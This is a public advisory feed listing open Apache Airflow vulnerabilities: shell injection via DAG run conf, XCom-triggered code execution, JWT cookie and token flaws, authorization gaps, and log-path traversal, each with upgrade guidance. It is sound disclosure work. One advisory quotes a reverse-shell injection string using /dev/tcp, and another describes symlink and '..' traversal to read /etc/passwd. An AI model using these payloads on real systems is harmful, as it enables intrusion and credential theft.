Open actionable advisories and recorded vendor fixes. This public package view has no inventory attached and cannot establish whether your deployment is affected. A vendor fix never resolves your finding; verify your installed version and the source guidance.
Open advisories
153 actionable advisories, newest first. Withdrawn advisories and news are excluded. Coverage is partial.
Apache Airflow's official documentation at core-concepts/dag-run.html ("Passing Parameters when triggering Dags") showed a verbatim BashOperator(bashcommand="echo value: {{ dagrun.conf['conf1'] }}") example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had Dag.cantrigger permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the conf field of the trigger API: an authenticated trigger user could supply "; bash -i & /dev/tcp/.../9999 0&1; #" as a conf value and reach an os.exec on the worker. This CVE covers the documentation correction in apache/airflow PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern…
Recommended action: Upgrade to 3.2.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Exploitation requires the attacker to already be an authenticated Airflow worker holding a valid Log-server JWT issued for at least one Dag. Apache Airflow's Log server authorized JWT tokens against Dag IDs by applying Python's str.lstrip() to the requested path segment when verifying the JWT's sub claim. str.lstrip() strips any of a set of characters from the left (not a prefix), so a JWT issued for a Dag named e.g. daga would authorize log access to any other Dag whose name began with any subset of the characters {d, a, g, } (e.g. dagattacker, aaaatarget, dagsecret). Such an authenticated worker could enumerate and read worker logs of other Dags whose names happened to share that character-class prefix, leaking task output and error traces beyond the documented per-Dag isolation boundary. Affects deployments relying on per-Dag log-access scoping (multi-team, shared-executor, shared-worker topologies). Users are advised to upgrade to apache-airflow 3.2.2 or later.
Recommended action: Upgrade to 3.2.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
A bug in Apache Airflow's XCom PATCH endpoint PATCH /api/v2/xcomEntries/{key} allowed an authenticated UI/API user with XCom write permission on a Dag to set XCom entries under reserved key names (e.g. returnvalue) that the matching POST endpoint already validated against FORBIDDENXCOMKEYS. The endpoint also accepted serialized payload shapes the triggerer's deserializer treats as code; combined, this allowed RCE on the triggerer when the affected task next deferred. Affects deployments where untrusted users have XCom write permission on Dags that defer to the triggerer. This is a fix-bypass of CVE-2026-33858: PR #64148 added the FORBIDDENXCOMKEYS validator only on the POST/set path; the PATCH path was not covered. Users who already upgraded for CVE-2026-33858 should additionally upgrade to apache-airflow 3.2.2 or later to cover the PATCH-path bypass.
Recommended action: Upgrade to 3.2.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
The structuredata endpoint in the Airflow UI returned external dependency graph nodes for linked Dags without checking whether the caller had read permission on those linked Dags. An authenticated UI/API user authorized for one Dag could enumerate linked Dag IDs and dependency metadata for other Dags they were not authorized to read. Affects deployments that rely on per-Dag read scoping to keep Dag dependency topology private across teams. Users are advised to upgrade to apache-airflow 3.2.2 or later.
Recommended action: Upgrade to 3.2.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
A bug in the login redirect route in Apache Airflow allowed authenticated users to craft URLs that bypassed the `is_safe_url` check, enabling redirection from a trusted Airflow domain to an attacker-controlled origin. Users are advised to upgrade to `apache-airflow` 3.2.2 or later. As a defense-in-depth mitigation, deployment operators can place Airflow behind a reverse proxy that strips off-domain `next=` query parameters before they reach the login endpoint.
Recommended action: Upgrade to 3.2.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
A Dag author could either (a) create a symlink under their task's log directory pointing to an arbitrary file readable by the API server process (read-path attack — e.g. /etc/passwd or airflow.cfg) or (b) supply a taskid containing .. sequences accepted by the Task SDK's KEYREGEX (write-path attack), and in both cases the FileTaskHandler resolves the log path outside the configured baselogfolder, leaking or overwriting arbitrary files. Only affects deployments where the worker log folder is shared with the API server. Users are advised to upgrade to apache-airflow 3.2.2 or later. As a defense-in-depth mitigation, deploy the worker and API server with separate log volumes so that worker-controlled paths cannot reach the API server's filesystem.
Recommended action: Upgrade to 3.2.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Apache Airflow's JWTRefreshMiddleware set the JWT auth cookie without the Secure flag, so deployments running the Airflow API server behind an HTTPS-terminating reverse proxy (e.g. nginx / Envoy / a managed load balancer that terminates TLS and forwards plaintext to the API server, the default cloud-native topology) would have the user's session JWT replayed over any cleartext HTTP request to the same host. A network-positioned attacker (Wi-Fi MITM, hostile LAN, captive-portal proxy) could induce a logged-in user's browser to issue an HTTP request to the deployment's hostname and capture the JWT cookie out of that request, then replay it against the authenticated API. Affects deployments where the Airflow API server is reached through a TLS-terminating proxy and the cookie's secure-by-default protection is load-bearing for session integrity. Users are advised to upgrade to apache-airflow 3.2.2 or later.
Recommended action: Upgrade to 3.2.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
The partitioneddagruns endpoints in the Airflow UI enforced only asset-level access control, not per-Dag authorization. An authenticated UI/API user with global Asset:read permission could enumerate partition run state, schedule configuration, and asset wiring for Dags they were not authorized to read. Affects deployments that rely on per-Dag read scoping while granting users broader Asset access. Users are advised to upgrade to apache-airflow 3.2.2 or later.
Recommended action: Upgrade to 3.2.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
A bug in the GET /api/v2/connections/{connectionid} REST API endpoint in Apache Airflow allowed an authenticated UI/API user with Connection-read permission to retrieve secrets stored in a Connection's extra JSON blob under field names not present in the redaction allowlist (DEFAULTSENSITIVEFIELDS) — for example, official Slack-provider credential field names were returned in plaintext. Affects deployments that store credentials in Connection extra blobs and grant Connection-read access to multiple users. Users are advised to upgrade to apache-airflow 3.2.2 or later. As a defense-in-depth mitigation, deployment operators can store sensitive credential values in a secret-backend rather than inlined into the Connection's extra field.
Recommended action: Upgrade to 3.2.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
The asset dependency graph did not restrict nodes by the viewer's DAG read permissions: a user with read access to at least one DAG could browse the asset graph for any other asset in the deployment and learn the existence and names of DAGs and assets outside their authorized scope. Users are recommended to upgrade to version 3.2.1, which fixes this issue.
Recommended action: Upgrade to 3.2.1rc1 (pre-release) or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
The authenticated /ui/dags endpoint did not enforce per-DAG access control on embedded Human-in-the-Loop (HITL) and TaskInstance records: a logged-in Airflow user with read access to at least one DAG could retrieve HITL prompts (including their request parameters) and full TaskInstance details for DAGs outside their authorized scope. Because HITL prompts and TaskInstance fields routinely carry operator parameters and free-form context attached to a task, the leak widens visibility of DAG-run data beyond the intended per-DAG RBAC boundary for every authenticated user. Users are recommended to upgrade to version 3.2.1 , which fixes this issue.
Recommended action: Upgrade to 3.2.1rc1 (pre-release) or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
In case of SQL errors, exception/stack trace of errors was exposed in API even if "api/exposestacktraces" was set to false. That could lead to exposing additional information to potential attacker. Users are recommended to upgrade to Apache Airflow 3.2.0, which fixes the issue.
Recommended action: Upgrade to 3.2.0 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Dag Authors, who normally should not be able to execute code in the webserver context could craft XCom payload causing the webserver to execute arbitrary code. Since Dag Authors are already highly trusted, severity of this issue is Low. Users are recommended to upgrade to Apache Airflow 3.2.0, which fixes the issue.
Recommended action: Upgrade to 3.2.0 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Secrets in Variables saved as JSON dictionaries were not properly redacted - in case the variables were retrieved by the user the secrets stored as nested fields were not masked. If developers do not store variables with sensitive values in JSON form, their projects are not affected. Otherwise upgrade to the fixed version, Apache Airflow 3.2.0.
Recommended action: Upgrade to 3.2.0 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
JWT Tokens used by tasks were exposed in logs. This could allow UI users to act as Dag Authors. Users are advised to upgrade to Airflow version that contains fix. Users are recommended to upgrade to version 3.2.0, which fixes this issue.
Recommended action: Upgrade to 3.2.0 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
The accesskey and connectionstring connection properties were not marked as sensitive names in secrets masker. This means that user with read permission could see the values in Connection UI, as well as when Connection was accidently logged to logs, those values could be seen in the logs. Azure Service Bus used those properties to store sensitive values. Possibly other providers could be also affected if they used the same fields to store sensitive data. If you used Azure Service Bus connection with those values set or if you have other connections with those values storing senesitve values, you should upgrade Airflow to 3.1.8.
Recommended action: Upgrade to 3.1.8 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Dag Authors, who normally should not be able to execute code in the webserver context could craft XCom payload causing the webserver to execute arbitrary code. Since Dag Authors are already highly trusted, severity of this issue is Low. Users are recommended to upgrade to Apache Airflow 3.2.0, which resolves this issue.
Recommended action: Upgrade to 3.2.0 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Before Airflow 3.2.0, it was unclear that secure Airflow deployments require the Deployment Manager to take appropriate actions and pay attention to security details and security model of Airflow. Some assumptions the Deployment Manager could make were not clear or explicit enough, even though Airflow's intentions and security model of Airflow did not suggest different assumptions. The overall security model, workload isolation, and JWT authentication details are now described in more detail. Users concerned with role isolation and following the Airflow security model of Airflow are advised to upgrade to Airflow 3.2, where several security improvements have been implemented. They should also read and follow the relevant documents to make sure that their deployment is secure enough. It also clarifies that the Deployment Manager is ultimately responsible for securing your Airflow deployment. This had also been communicated via Airflow 3.2.0 Blog announcement. Users are recommended to…
Recommended action: Upgrade to 3.2.0 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
When user logged out, the JWT token the user had authtenticated with was not invalidated, which could lead to reuse of that token in case it was intercepted. In Airflow 3.2 we implemented the mechanism that implements token invalidation at logout. Users who are concerned about the logout scenario and possibility of intercepting the tokens, should upgrade to Airflow 3.2+ Users are recommended to upgrade to version 3.2.0, which fixes this issue.
Recommended action: Upgrade to 3.2.0 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Apache Airflow versions 3.0.0 through 3.1.8 DagRun wait endpoint returns XCom result values even to users who only have DAG Run read permissions, such as the Viewer role.This behavior conflicts with the FAB RBAC model, which treats XCom as a separate protected resource, and with the security model documentation that defines the Viewer role as read-only. Airflow uses the FAB Auth Manager to manage access control on a per-resource basis. The Viewer role is intended to be read-only by default, and the security model documentation defines Viewer users as those who can inspect DAGs without accessing sensitive execution results. Users are recommended to upgrade to Apache Airflow 3.2.0 which resolves this issue.
Recommended action: Upgrade to 3.2.0 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Improper Certificate Validation vulnerability in Apache Airflow Provider for Databricks. Provider code did not validate certificates for connections to Databricks back-end which could result in a man-of-a-middle attack that traffic is intercepted and manipulated or credentials exfiltrated w/o notice. This issue affects Apache Airflow Provider for Databricks: from 1.10.0 before 1.12.0. Users are recommended to upgrade to version 1.12.0, which fixes the issue.
Recommended action: Upgrade to 1.12.0 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Apache Airflow versions 3.1.0 through 3.1.7 session token (token) in cookies is set to path=/ regardless of the configured [webserver] baseurl or [api] baseurl. This allows any application co-hosted under the same domain to capture valid Airflow session tokens from HTTP request headers, allowing full session takeover without attacking Airflow itself. Users are recommended to upgrade to Apache Airflow 3.1.8 or later, which resolves this issue.
Recommended action: Upgrade to 3.1.8 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Apache Airflow versions 3.1.0 through 3.1.7 missing authorization vulnerability in the Execution API's Human-in-the-Loop (HITL) endpoints that allows any authenticated task instance to read, approve, or reject HITL workflows belonging to any other task instance. Users are recommended to upgrade to Apache Airflow 3.1.8 or later, which resolves this issue.
Recommended action: Upgrade to 3.1.8 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Apache Airflow versions 3.1.0 through 3.1.7 /ui/dependencies endpoint returns the full DAG dependency graph without filtering by authorized DAG IDs. This allows an authenticated user with only DAG Dependencies permission to enumerate DAGs they are not authorized to view. Users are recommended to upgrade to Apache Airflow 3.1.8 or later, which resolves this issue.
Recommended action: Upgrade to 3.1.8 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Apache Airflow versions 3.0.0 through 3.1.7 FastAPI DagVersion listing API does not apply per-DAG authorization filtering when the request is made with dagid set to "~" (wildcard for all DAGs). As a result, version metadata of DAGs that the requester is not authorized to access is returned. Users are recommended to upgrade to Apache Airflow 3.1.8 or later, which resolves this issue.
Recommended action: Upgrade to 3.1.8 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.